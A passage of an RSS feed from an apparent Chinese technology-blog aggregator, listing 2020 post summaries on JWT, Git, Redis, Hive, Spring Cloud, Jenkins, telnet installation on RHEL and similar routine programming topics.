&#34;HS256&#34;, &#34;typ&#34;: &#34;JWT&#34; } 在上面的代码中，alg属性表示签名使用的算法，默认为HMAC SHA256（写为HS256）；typ属性表示令牌的类型，JWT令牌统一写为JWT。最后，使用Base64 URL算法将上述JSON对象转换为字符串保存。&#xA;2.2 有效载荷 有效载荷部分，是JWT的主体内容部分，也是一个JSON对象，包含需要传递的数据。 JWT指定七个默认字段供选择。&#xA;iss：发行人 exp：到期时间 sub：主题 aud：用户 nbf：在此之前不可用 iat：发布时间 jti：JWT ID用于标识该JWT 除以上默认字段外，我们还可以自定义私有字段，如下例：&#xA;{ &#34;sub&#34;: &#34;1234567890&#34;, &#34;name&#34;: &#34;Helen&#34;, &#34;admin&#34;: true } 请注意，默认情况下JWT是未加密的，任何人都可以解读其内容，因此不要构建隐私信息字段，存放保密信息，以防止信息泄露。&#xA;JSON对象也使用Base64 URL算法转换为字符串保存。</description>
    </item>
    <item>
      <title>通过深度学习从胸部X射线检测肺炎</title>
      <link>https://bchobby.github.io/posts/7174db64e074208b0cfb053dfab3e46f/</link>
      <pubDate>Tue, 29 Sep 2020 00:26:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7174db64e074208b0cfb053dfab3e46f/</guid>
      <description>Note from Towards Data Science’s editors: While we allow independent authors to publish articles in accordance with our rules and guidelines, we do not endorse each author’s contribution. You should not rely on an author’s works without seeking professional advice. See our Reader Terms for details.&#xA;Towards Data Science编辑的注意事项： 尽管我们允许独立作者按照我们的 规则和指南 发表文章 ，但我们不认可每位作者的贡献。 您不应在未征求专业意见的情况下依赖作者的作品。 有关 详细信息， 请参见我们的 阅读器条款 。 In 2017, 2.56 million people died from pneumonia. About a third of those people were children less than 5 years old.</description>
    </item>
    <item>
      <title>自变量向量的函数的泰勒公式_向量自变量的线性函数</title>
      <link>https://bchobby.github.io/posts/81c5dbdf26f475b9d5fe18b7301df64b/</link>
      <pubDate>Tue, 29 Sep 2020 00:15:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81c5dbdf26f475b9d5fe18b7301df64b/</guid>
      <description>自变量向量的函数的泰勒公式&#xA;数据科学与机器学习的线性代数 (LINEAR ALGEBRA FOR DATA SCIENCE AND MACHINE LEARNING) In mathematical analysis, one studies functions of any number of variables. Such functions can be regarded as vector functions.&#xA;在数学分析中，人们研究许多变量的函数。 这样的函数可以被视为向量函数。 Linear vector functions, also known as linear operators, are of great importance in linear algebra and it’s applications.&#xA;线性向量函数，也称为线性算子，在线性代数及其应用中非常重要。 线性形式 (Linear forms) A numerical function L(x) of a vector argument x, defined on a linear space K over a number field K, is called a linear form if it satisfies the following conditions:</description>
    </item>
    <item>
      <title>hdfs创建文件夹及目录</title>
      <link>https://bchobby.github.io/posts/57f9303f0e7b0d489dc8b7c40b14ac0f/</link>
      <pubDate>Mon, 28 Sep 2020 17:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57f9303f0e7b0d489dc8b7c40b14ac0f/</guid>
      <description> import java.io.IOException; import java.net.URI; import java.net.URISyntaxException; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; public class nkdirDemo { public static void main(String [] args) throws IOException, URISyntaxException { FileSystem fs = FileSystem.get(new URI(&#34;hdfs://Master:9000&#34;), new Configuration()); fs.mkdirs(new Path(&#34;/aaa/bbb/ccc&#34;));//创建文件夹 fs.create(new Path(&#34;/aaa/bbb/ccc/ddd.txt&#34;));//创建文件 fs.delete(new Path(&#34;/user/hadoop/file4.abc&#34;));//删除文件，不常用 fs.close(); } } </description>
    </item>
    <item>
      <title>解决Git报错:error: You have not concluded your merge (MERGE_HEAD exists)</title>
      <link>https://bchobby.github.io/posts/12475d2d24d205d7949a0250f5f640bd/</link>
      <pubDate>Mon, 28 Sep 2020 16:09:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12475d2d24d205d7949a0250f5f640bd/</guid>
      <description>Git fetch和git pull的区别: 都可以从远程获取最新版本到本地 1.Git fetch:只是从远程获取最新版本到本地,不会merge(合并) $:git fetch origin master //从远程的origin的master主分支上获取最新版本到origin/master分支上 $:git log -p master..origin/master //比较本地的master分支和origin/master分支的区别 $:git merge origin/master //合并 2.Git pull:从远程获取最新版本并merge(合并)到本地 $:git pull origin master //相当于进行了 git fetch 和 git merge两部操作 实际工作中,可能git fetch更好一些, 因为在merge前,可以根据实际情况决定是否merge 再说导致报错:error: You have not concluded your merge (MERGE_HEAD exists).的原因可能是在以前pull下来的代码自动合并失败 解决办法一:保留本地的更改,中止合并-&amp;gt;重新合并-&amp;gt;重新拉取 $:git merge --abort $:git reset --merge $:git pull 解决办法二:舍弃本地代码,远端版本覆盖本地版本(慎重) $:git fetch --all $:git reset --hard origin/master $:git fetch 参考以下链接:&#xA;http://stackoverflow.com/questions/11646107/you-have-not-concluded-your-merge-merge-head-exists&#xA;http://yijiebuyi.com/blog/5b55eb51ad49ce41e2de9c85dd4513ca.html&#xA;https://download.csdn.net/download/XiaoRungen/12825664</description>
    </item>
    <item>
      <title>关于安装Jenkins插件报错问题的最新发现</title>
      <link>https://bchobby.github.io/posts/92a9c3576767bef0ee5f0463e92ab6dc/</link>
      <pubDate>Mon, 28 Sep 2020 15:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92a9c3576767bef0ee5f0463e92ab6dc/</guid>
      <description>欢迎大家去我的个人网站踩踩 点这里哦 一、关于Jenkins安装插件的最新发现 我在前面写过两篇文章，是解决Jenkins安装插件报错的问题&#xA;真正解决Jenkins安装插件总是报错的问题（网上查的解决方案都无效）&#xA;真正解决Jenkins安装插件总是报错的问题（二）&#xA;主要就是把update-center.json里的下载地址替换成镜像站的下载地址，而这两天我又发现了update-center.json里面的下载地址没有被替换掉，于是我看了看update-center.json里面的地址，发现已经由下载地址前缀已经由 http://updates.jenkins-ci.org 变成了 https://updates.jenkins.io/ ，打开网站，发现地址确实换新的了，然后我试着下载一个附件 https://updates.jenkins.io/download/plugins/BlazeMeterJenkinsPlugin/4.7/BlazeMeterJenkinsPlugin.hpi&#xA;发现居然自己重定向到了清华的镜像，大家可以试一下&#xA;我觉得很奇怪，于是乎在官网上找找看，有没有什么发现，最后在下面找到了清华大学&#xA;好了，现在什么都不用改了，官方帮你转到清华镜像了。。。&#xA;嗨，你早点弄出来，我也不用费劲搞了半天呐，⊙﹏⊙b汗</description>
    </item>
    <item>
      <title>RK1109 RK1126等芯片来袭，2020年瑞芯微旗下SoC一览</title>
      <link>https://bchobby.github.io/posts/2f640427051bc44e883375ad8fed49df/</link>
      <pubDate>Mon, 28 Sep 2020 14:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f640427051bc44e883375ad8fed49df/</guid>
      <description>2019年就要结束了，来年的主角也已经到位，在此跟大家分享一下瑞芯微在2020年推出的RK35XX系列的新一代通用型SoC：RK3588、RK3566和RK3530，以及其应用场景，方便行业定制项目选型。在此附上一张瑞芯微的产品路线图，以供大家参考。&#xA;瑞芯微旗下SoC路线图&#xA;从上面这张图我们可以清晰的看出，在2020年瑞芯微推出的产品主要是面向物联网人工智能/机器视觉和机顶盒领域。鉴于在前不久瑞芯微刚发布了RK2108和RK2208这两款面向音频领域的SoC，因此2020年没有新品推出也算正常。不过平板电脑的SoC再次缺席，也让我们感受到消费类平板电脑的大势已去，平板电脑的市场规模越来越小了。&#xA;RK3588是瑞芯微的新一代旗舰SoC，采用A76+A55的大小核设计，内置独立的NPU主要面向人工智能和物联网场景。支持8K视频解码和4K视频编码，同时还支持多路4K输出，这对于高端显示应用来说是非常有吸引力的。借助5G网络环境的成熟，高清视频的传输有了网络条件支持，8K视频会迎来新的增长点。&#xA;RK3566也是一款面向物联网应用的SoC，采用A55架构处理器，搭载G52图形处理器，支持双屏异显。总的来看RK3566的芯片定位比较尴尬，图形处理器与S922X一致，主逻辑处理器确是S905X3同款。RK3530就是直接对标S905X3了，同款A55处理器，外挂同款G31图形处理器。按照简单思维来排列，这几款的性能排名大概是：S922X强于RK3566强于RK3530约等于S905X3。鉴于目前S905X3已经开始支持8K视频解码和输出，不知道RK3530是否有等待的价值。&#xA;RV1126和RV1109都是人工智能下机器视觉分支的SoC，都内置独立NPU。RV1126可提供1.5TOPS算力，RV1109可提供1TOPS算力。单从性能来讲这两款视觉处理器应该弱于S905D3，不过Rockchip在机器视觉领域算是有一定技术积累的，最终产品的实际表现有待确认。&#xA;总的来讲，瑞芯微2020年更专注于物联网和人工智能领域的产品规划。物联网设备有着巨大的市场潜力，如今的大厂瑞芯微推出了一揽子专用DSP，为了销量和报表，瑞芯微需要增强产品的适用性。人工智能不多说了，瑞芯微在这个赛道上一直身先士卒，是个勇士。不过我们也看到，一直专注于家庭影音市场的晶晨（Amlogic）也开始有想法了。已经吃下国内大部分智能机顶盒市场份额的晶晨，开始把触角伸向了行业通用领域，不但在自身产品上，也在市场策略上发生了变化。再加上一个4G时代失利，5G时代磨拳擦掌的联发科（MTK）。2020年，国内通用型SoC市场竞争将会异常激烈。</description>
    </item>
    <item>
      <title>Redis中删除过期Key的三种策略</title>
      <link>https://bchobby.github.io/posts/1d5b9a0dda4623b246f45607568f7fcc/</link>
      <pubDate>Mon, 28 Sep 2020 08:54:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d5b9a0dda4623b246f45607568f7fcc/</guid>
      <description>项目中有个接口要频繁调用查询数据库中的数据，为了降低数据库的压力，所以把一部分记录先缓存在redis中，对redis中的数据设置了期限。今天无意间发现一个问题，使用dbsize查询出来的数量，比实际缓存量要高一部分。用&#xA;redis-cli keys &#39;*&#39;|wc -l 1 获取到的数据和实际情况是一样的。如下面两图：&#xA;对比发现，redis中key的总量为286957，比数据库中的264032高出了20000多个！为什么会这样呢？查找程序原因，并没有发现逻辑问题。查找redis相关资料，发现原来是redis对过期键处理机制导致的误差。&#xA;dbsize返回的是包含过期键的总数，所以造成了误差！结合查找的资料，拿来一起分享。&#xA;Redis对于过期键有三种清除策略：&#xA;被动删除：当读/写一个已经过期的key时，会触发惰性删除策略，直接删除掉这个过期key主动删除：由于惰性删除策略无法保证冷数据被及时删掉，所以Redis会定期主动淘汰一批已过期的key当前已用内存超过maxmemory限定时，触发主动清理策略 被动删除&#xA;只有key被操作时(如GET)，REDIS才会被动检查该key是否过期，如果过期则删除之并且返回NIL。&#xA;1、这种删除策略对CPU是友好的，删除操作只有在不得不的情况下才会进行，不会对其他的expire key上浪费无谓的CPU时间。&#xA;2、但是这种策略对内存不友好，一个key已经过期，但是在它被操作之前不会被删除，仍然占据内存空间。如果有大量的过期键存在但是又很少被访问到，那会造成大量的内存空间浪费。expireIfNeeded(redisDb *db, robj *key)函数位于src/db.c。&#xA;但仅是这样是不够的，因为可能存在一些key永远不会被再次访问到，这些设置了过期时间的key也是需要在过期后被删除的，我们甚至可以将这种情况看作是一种内存泄露—-无用的垃圾数据占用了大量的内存，而服务器却不会自己去释放它们，这对于运行状态非常依赖于内存的Redis服务器来说，肯定不是一个好消息。&#xA;主动删除&#xA;先说一下时间事件，对于持续运行的服务器来说， 服务器需要定期对自身的资源和状态进行必要的检查和整理， 从而让服务器维持在一个健康稳定的状态， 这类操作被统称为常规操作（cron job）&#xA;在 Redis 中， 常规操作由 redis.c/serverCron 实现， 它主要执行以下操作&#xA;更新服务器的各类统计信息，比如时间、内存占用、数据库占用情况等。清理数据库中的过期键值对。对不合理的数据库进行大小调整。关闭和清理连接失效的客户端。尝试进行 AOF 或 RDB 持久化操作。如果服务器是主节点的话，对附属节点进行定期同步。如果处于集群模式的话，对集群进行定期同步和连接测试。 Redis 将 serverCron 作为时间事件来运行， 从而确保它每隔一段时间就会自动运行一次， 又因为 serverCron 需要在 Redis 服务器运行期间一直定期运行， 所以它是一个循环时间事件： serverCron 会一直定期执行，直到服务器关闭为止。&#xA;在 Redis 2.6 版本中， 程序规定 serverCron 每秒运行 10 次， 平均每 100 毫秒运行一次。 从 Redis 2.8 开始， 用户可以通过修改 hz选项来调整 serverCron 的每秒执行次数， 具体信息请参考 redis.</description>
    </item>
    <item>
      <title>pyecharts中堆叠柱形图的绘制及颜色更改</title>
      <link>https://bchobby.github.io/posts/c17b0f1aabe3c8e461df2c1914291e0e/</link>
      <pubDate>Sun, 27 Sep 2020 21:38:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c17b0f1aabe3c8e461df2c1914291e0e/</guid>
      <description>文章目录 导入模块构建数据并绘制基本柱形图绘制堆叠图 堆叠柱形图的绘制相比普通柱形图，只需要多添加几个.add_yaxis()—y轴即可。&#xA;导入模块 import pandas as pd from pyecharts.charts import Bar from pyecharts import options as opts 构建数据并绘制基本柱形图 此处我直接重新构建了一组数据来绘制，方便的小伙伴可以直接拿自己的数据练习。&#xA;data = pd.DataFrame({ &#34;区域&#34;: [&#34;A区&#34;, &#34;B区&#34;, &#34;C区&#34;], &#34;总销量&#34;: [23, 32, 14], &#34;上衣销量&#34;: [3, 5, 10], &#34;裤子销量&#34;: [15, 5, 1], &#34;鞋袜销量&#34;: [5, 22, 3] }) data 获得如下数据：&#xA;接着可以先通过”总销量“绘制一个基本的柱形图。&#xA;bar = ( Bar(init_opts=opts.InitOpts(width=&#34;900px&#34;, height=&#34;500px&#34;)) .add_xaxis(data[&#34;区域&#34;].tolist()) .add_yaxis(&#34;总销量&#34;, data[&#34;总销量&#34;].tolist()) ) bar.render_notebook() 绘制出图形：&#xA;绘制堆叠图 堆叠柱形图的绘制相比普通柱形图，只需要多添加几个.add_yaxis()—y轴即可。同时，再再每个y轴的属性里添加一个参数就行。&#xA;stack_bar = ( Bar(init_opts=opts.InitOpts(width=&#34;900px&#34;, height=&#34;500px&#34;)) .add_xaxis(data[&#34;区域&#34;].tolist()) .add_yaxis(&#34;上衣销量&#34;, data[&#34;上衣销量&#34;].tolist(), stack=&#34;stack1&#34;) .</description>
    </item>
    <item>
      <title>Hive不支持不等值连接；构建近一年的日期辅助列</title>
      <link>https://bchobby.github.io/posts/2e5548035ece104177c6b06077aa37a3/</link>
      <pubDate>Sun, 27 Sep 2020 15:16:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e5548035ece104177c6b06077aa37a3/</guid>
      <description> 不等值连接指的是 ON 条件中出现不等式，HIVE暂时不支持这种写法。&#xA;改成用INNER JOIN + WHERE 的方式&#xA;with date_para as ( select period_date, date_sub(period_date,366) as year_ago from dim.dim_app_period_d where year&amp;gt;2019 ) select a.period_date, b.period_date, b.year_ago from date_para a inner join date_para b on 1=1 WHERE a.period_date &amp;gt;= b.year_ago and a.period_date &amp;lt; b.period_date and year(a.period_date)=2020 and year(b.period_date)=2020 order by a.period_date desc; dim.dim_app_period_d 含有一个日期列，包含2020年的每一天period_date&#xA;data_para新增了一个列year_ago,表示365天以前。&#xA;最后结果&#xA;案例介绍：&#xA;经常需要统计每一天的近一年的去重结果，比如购买人数（如果不去重就可以用窗口函数）&#xA;可以直接inner join 上述的结果表，然后按period_date, year_ago group by算count(distinct 人的标识)，就可以算出每一天的近一年购买人数。&#xA;月累 使用同样的方式可以构建月累，年累列。实现每一天都可以计算月累，年累。&#xA;年累 </description>
    </item>
    <item>
      <title>IDEA打开窗口的数量及打开窗口的排列方式调整</title>
      <link>https://bchobby.github.io/posts/c208e2d02701d5e6bce1ebb571901fb9/</link>
      <pubDate>Fri, 25 Sep 2020 14:35:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c208e2d02701d5e6bce1ebb571901fb9/</guid>
      <description>IDEA打开窗口的数量及打开窗口的排列方式调整 在我们项目的开发过程中，由于项目涉及的类过多，以至于我们会打开很多的窗口。使用IDEA默认的配置，个人觉的十分不便。但我们可以对窗口的排列方式和打开窗口的排列方式进行设置。（默认设置为一行展示所有窗口，窗口数量限制10个）&#xA;修改IDEA编译器展示页面，使其能够堆叠显示，不在横着一排&#xA;//默认的设置为在一行显示 File --&amp;gt; Setting --&amp;gt; Editor --&amp;gt; General --&amp;gt; Editor Tabs //去掉选项 Show tabs in single row 修改IDEA编译器的最多展示窗口&#xA;//默认窗口显示的数量是10个 File --&amp;gt; Setting --&amp;gt; Editor --&amp;gt; General --&amp;gt; Editor Tabs --&amp;gt; Tab limit //将窗口的数量设置为50 Tab limit:50 最终效果</description>
    </item>
    <item>
      <title>DolphinScheduler对比Airflow</title>
      <link>https://bchobby.github.io/posts/d725f00eee2462c6bbac8ac81cc2b8ef/</link>
      <pubDate>Fri, 25 Sep 2020 13:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d725f00eee2462c6bbac8ac81cc2b8ef/</guid>
      <description> DolphinSchedulerAirFlow稳定性单点故障去中心化的多Master和多Worke是（单一调度程序）HA额外要求不需要(本身就支持HA)Celery / Dask / Mesos + Load Balancer + DB过载处理任务队列机制，单个机器上可调度的任务数量可以灵活配置，当任务过多时会缓存在任务队列中，不会造成机器卡死任务太多时会卡死服务器易用性DAG监控界面任务状态、任务类型、重试次数、任务运行机器、可视化变量等关键信息一目了然不能直观区分任务类型可视化流程定义是（所有流程定义操作都是可视化的，通过拖拽任务来绘制DAG,配置数据源及资源。同时对于第三方系统，提供api方式的操作）否（通过python代码来绘制DAG，使用不便，特别是对不会写代码的业务人员基本无法使用）快速部署一键部署集群化部署复杂功能是否能暂停和恢复支持暂停（非真暂停），恢复操作否(只能先将工作流杀死再重新运行)是否支持多租户支持（DolphinScheduler上的用户可以通过租户和hadoop用户实现多对一或一对一的映射关系，这对大数据作业的调度是非常重要的）否（只支持多用户）任务类型支持传统的shell任务，同时支持大数据平台任务调度： MR、Spark、SQL(mysql、postgresql、hive、sparksql)、Python、Procedure、Sub_ProcessBashOperator、DummyOperator、MySqlOperator、HiveOperator、EmailOperator、HTTPOperator、SqlOperator契合度支持大数据作业spark,hive,mr的调度，同时由于支持多租户，与大数据业务更加契合由于不支持多租户，在大数据平台业务使用不够灵活任务重跑支持失败任务重跑，但是不能指定从任意一个任务开始重跑可以指定从任意一个任务节点开始重跑跳过某些任务/运行节点是否跨项目依赖否否项目内依赖是（在一个项目中前驱依赖可以指定不同工作流中任意一个任务，后继依赖可以指定一整个工作流，但是无法指定其他工作流中的任意一个任务）是（将DAG定义在一个脚本中）扩展性是否支持自定义任务类型是是是否支持集群扩展是(调度器使用分布式调度，整体的调度能力会随便集群的规模线性增长，Master和Worker支持动态上下线)是(但是Executor水平扩展复杂)监控告警服务状态监控是否告警类型自带邮件告警，支持分组监控告警不自带告警系统版本系统版本要求均7.0以上暂无任务迁移支持任务迁移/Copy是否支持组件命令支持Python命令是是支持Hive-SQL命令是是支持Shell命令是是支持Http命令是是支持Sqoop命令是否支持Spark命令是否支持Flink命令是否支持MR命令是否支持Datax命令是否支持Hadoop命令否否 </description>
    </item>
    <item>
      <title>Spring Cloud ---Nacos、Feign、Hystrix</title>
      <link>https://bchobby.github.io/posts/b85748e87116cf1884a4a30d813bcd39/</link>
      <pubDate>Thu, 24 Sep 2020 21:11:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b85748e87116cf1884a4a30d813bcd39/</guid>
      <description>一、什么是微服务 1.微服务的由来 微服务最早由Martin Fowler与James Lewis于2014年共同提出，微服务架构风格是一种使用一套小服务来开发单个应用的方式途径，每个服务运行在自己的进程中，并使用轻量级机制通信，通常是HTTP API，这些服务基于业务能力构建，并能够通过自动化部署机制来独立部署，这些服务使用不同的编程语言实现，以及不同数据存储技术，并保持最低限度的集中式管理。&#xA;1.1微服务与单体架构区别 （1）单体架构所有的模块全都耦合在一块，代码量大，维护困难。微服务每个模块就相当于一个单独的项目，代码量明显减少，遇到问题也相对来说比较好解决。&#xA;（2）单体架构所有的模块都共用一个数据库，存储方式比较单一。&#xA;微服务每个模块都可以使用不同的存储方式（比如有的用redis，有的用mysql等），数据库也是单个模块对应自己的数据库。&#xA;（3）单体架构所有的模块开发所使用的技术一样。微服务每个模块都可以使用不同的开发技术，开发模式更灵活。&#xA;1.2 微服务的本质 （1）微服务，关键其实不仅仅是微服务本身，而是系统要提供一套基础的架构，这种架构使得微服务可以独立的部署、运行、升级，不仅如此，这个系统架构还让微服务与微服务之间在结构上“松耦合”，而在功能上则表现为一个统一的整体。这种所谓的“统一的整体”表现出来的是统一风格的界面，统一的权限管理，统一的安全策略，统一的上线过程，统一的日志和审计方法，统一的调度方式，统一的访问入口等等。&#xA;（2）微服务的目的是有效的拆分应用，实现敏捷开发和部署 。&#xA;（3）微服务提倡的理念团队间应该是 inter-operate, not integrate 。inter-operate是定义好系统的边界和接口，在一个团队内全栈，让团队自治，原因就是因为如果团队按照这样的方式组建，将沟通的成本维持在系统内部，每个子系统就会更加内聚，彼此的依赖耦合能变弱，跨系统的沟通成本也就能降低。&#xA;1.3 什么样的项目适合微服务 微服务可以按照业务功能本身的独立性来划分，如果系统提供的业务是非常底层的，如：操作系统内核、存储系统、网络系统、数据库系统等等，这类系统都偏底层，功能和功能之间有着紧密的配合关系，如果强制拆分为较小的服务单元，会让集成工作量急剧上升，并且这种人为的切割无法带来业务上的真正的隔离，所以无法做到独立部署和运行，也就不适合做成微服务了。&#xA;1.4 微服务开发框架 目前微服务的开发框架，最常用的有以下四个：&#xA;Spring Cloud：（现在非常流行的微服务架构）&#xA;Dubbo：&#xA;Dropwizard： （关注单个微服务的开发）&#xA;Consul、etcd&amp;amp;etc.（微服务的模块）&#xA;2.什么是Spring Cloud Spring Cloud是一系列框架的集合。它利用Spring Boot的开发便利性简化了分布式系统基础设施的开发，如服务发现、服务注册、配置中心、消息总线、负载均衡、 熔断器、数据监控等，都可以用Spring Boot的开发风格做到一键启动和部署。Spring并没有重复制造轮子，它只是将目前各家公司开发的比较成熟、经得起实际考验的服务框架组合起来，通过SpringBoot风格进行再封装屏蔽掉了复杂的配置和实现原理，最终给开发者留出了一套简单易懂、易部署和易维护的分布式系统开发工具包。&#xA;总的来说：&#xA;1.Spring Cloud并不是一种技术，是很多技术总称，很多框架&#xA;2.Spring Cloud里面有很多框架（技术），很多spring cloud里面的框架用于实现微服务框架&#xA;3.使用Spring Cloud，需要依赖技术spring boot&#xA;2.1 Spring Cloud和Spring Boot是什么关系 Spring Boot 是 Spring 的一套快速配置脚手架，可以基于Spring Boot 快速开发单个微服务，Spring Cloud是一个基于Spring Boot实现的开发工具；Spring Boot专注于快速、方便集成的单个微服务个体，Spring Cloud关注全局的服务治理框架； Spring Boot使用了默认大于配置的理念，很多集成方案已经帮你选择好了，能不配置就不配置，Spring Cloud很大的一部分是基于Spring Boot来实现，必须基于Spring Boot开发。可以单独使用Spring Boot开发项目，但是Spring Cloud离不开 Spring Boot。</description>
    </item>
    <item>
      <title>vue/cli 3版本 打包去掉soucemap文件</title>
      <link>https://bchobby.github.io/posts/036c418339744d33753b4d061b317487/</link>
      <pubDate>Thu, 24 Sep 2020 17:44:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/036c418339744d33753b4d061b317487/</guid>
      <description>前言：&#xA;一般正常打包会出现下面的这么多文件，其实生产环境下我们不要的那个 js.map文件的，这次就遇到客户上传Map文件过大，必须去掉Map文件&#xA;解决办法：&#xA;productionSourceMap: false; // 在vue.config.js文件中加上这个就可以了&#xA;截图：</description>
    </item>
    <item>
      <title>matlab 读取tiff文件</title>
      <link>https://bchobby.github.io/posts/d002dbb8c0b0d8b25a0da2a6facaa7fd/</link>
      <pubDate>Thu, 24 Sep 2020 10:28:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d002dbb8c0b0d8b25a0da2a6facaa7fd/</guid>
      <description>1、matlab读取tiff文件 参考自matab文档&#xA;创建一个Tiff对象并从TIFF文件中读取数据&#xA;t = Tiff(&#39;peppers_RGB_tiled.tif&#39;,&#39;r&#39;); imageData = read(t); 显示图像。&#xA;imshow(imageData); 2、rgb2ycbcr skimage.color.rgb2ycbcr&#xA;和matlab的rgb2ycbcr效果一样</description>
    </item>
    <item>
      <title>GraphViz‘s executables not found报错解决方案</title>
      <link>https://bchobby.github.io/posts/6dd0ce9a7b6f069d5c3ce7561c05dc3e/</link>
      <pubDate>Thu, 24 Sep 2020 08:52:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dd0ce9a7b6f069d5c3ce7561c05dc3e/</guid>
      <description>引用：https://blog.csdn.net/weixin_36407399/article/details/87890230&#xA;通过pip安装graphviz模块后，进行sklearn的决策树文档操作输出决策树模型结果时报错，报错内容为：GraphViz’s executables not found。&#xA;通过了解得知：graphviz是属于一个独立的软件，需要到官网下载安装包解压，将bin的路径添加到环境变量。&#xA;下载网址链接：https://graphviz.gitlab.io/_pages/Download/Download_windows.html&#xA;添加环境变量方法：&#xA;1、定位到高级系统设置：&#xA;2、定位‘环境变量’&#xA;3、点击‘新建’，将bin的路径复制进去&#xA;将路径添加到环境变量后还是报错，于是在代码块运行以下语句，不在报错：&#xA;4、进行到这步，出现pdf格式无法识别&#xA;在pycharm的Terminal中运行 &#39;dot -c&#39;</description>
    </item>
    <item>
      <title>[linux]redhat7.6 安装telnet</title>
      <link>https://bchobby.github.io/posts/a2a8fe2a0b09a5b325f0f99e40ff7268/</link>
      <pubDate>Wed, 23 Sep 2020 22:48:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2a8fe2a0b09a5b325f0f99e40ff7268/</guid>
      <description>方法一：yum安装&#xA;配置yum&#xA;创建挂载目录&#xA;mkdir /mnt/cdrom&#xA;挂载镜像&#xA;mount -o loop -t iso9660 /rhel-server-7.6-x86_64-dvd.iso /mnt/cdrom/&#xA;备份redhat.repo&#xA;cd /etc/yum.repos.d/&#xA;cp redhat.repo redhat_bak.repo&#xA;编辑redhat7.repo文件&#xA;vim redhat7.repo&#xA;[dvd]&#xA;name=redhat7&#xA;baseurl=file:///mnt/cdrom/&#xA;gpgcheck=0&#xA;enabled=1&#xA;重新加载yum&#xA;yum clean all&#xA;yum makecache&#xA;查询是否安装telnet&#xA;rpm -qa |grep telnet*&#xA;安装服务端：&#xA;yum -y install telnet-server.x86_64&#xA;安装客户端：&#xA;yum -y install telnet.x86_64&#xA;安装telnet守护进程：&#xA;yum -y install xinetd.x86_64&#xA;安装后检查：&#xA;rpm -qa |grep telnet*&#xA;启动telnet和守护进程：&#xA;systemctl start telnet.socket&#xA;systemctl start xinetd&#xA;设置xinetd自启动：&#xA;systemctl enable telnet.socket</description>
    </item>
    <item>
      <title>数字IC设计随笔之三（如何从fsdb波形中提取信号进行分析：python&#43;matlab）</title>
      <link>https://bchobby.github.io/posts/a22682cefb01eb7a63c3b937700d338e/</link>
      <pubDate>Wed, 23 Sep 2020 21:46:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a22682cefb01eb7a63c3b937700d338e/</guid>
      <description>如何从fsdb波形中提取信号进行分析：python+matlab 在涉及ADC或DAC的芯片中，建立模拟电路的行为级模型进行仿真后，往往需要从fsdb波形文件中提取信号进行信号质量分析。&#xA;通过python执行命令将fsdb中的特定波形数据提取到report.txt文件中，再读取该文件至列表中，去除文件起始标志行，将文件中的有符号二进制数转换为10进制，以图形化的方式显示波形，既可以粗略查看仿真结果的正确性，又可以进行波形分析。&#xA;import os import pandas as pd import numpy as np import matlab.engine import bitvector os.system(&#34;fsdbreport tb.fsdb -w 24 -s /tb/u1/adc_data_reg\[23:0\] -o report.txt&#34;) f = open(&#34;report.txt&#34;,&#34;r&#34;) lines = f.readlines() f.close() data = lines[2:-1] bit_obj = bitvector.bitVector() for i in range(len(data)): a = data[i].split() vbin = bit_obj.new_Bin(33,a[1]) data[i] = vbin.to_Dec() x = np.arange(len(data)) y = np.array(data) eng = matlab.engine.start_matlab() X = matlab.double(x.tolist()) Y = matlab.double(y.tolist()) h=eng.sig_analyze(X,Y) os.system(&#39;pause&#39;) 上述脚本为处理Σ-ΔADC抽取滤波器输出信号的提取和显示，运行脚本后将会显示ADC转换码值，此时可以进一步调用MATLAB函数进行信噪比、有效位数等结果分析。</description>
    </item>
    <item>
      <title>python 从两个列表获取相同的元素</title>
      <link>https://bchobby.github.io/posts/646f1a175a9215244d2bcc8588de54a6/</link>
      <pubDate>Wed, 23 Sep 2020 16:50:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/646f1a175a9215244d2bcc8588de54a6/</guid>
      <description> 从两个列表获取相同的元素 有两个列表list1=[11,22,33] list2[22,23,24] 获取相同内容的元素 # coding=utf-8 list1=[11,22,33] list2=[22,23,24] #遍历list1列表 for i in list1: #list2遍历 for j in list2: #当有相同数字时输出 if i==j: print(i) </description>
    </item>
    <item>
      <title>海思mpp学习（4）：mpp各模块介绍</title>
      <link>https://bchobby.github.io/posts/c8da0f02806d83b8e9eb9bf0869970b6/</link>
      <pubDate>Wed, 23 Sep 2020 14:53:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8da0f02806d83b8e9eb9bf0869970b6/</guid>
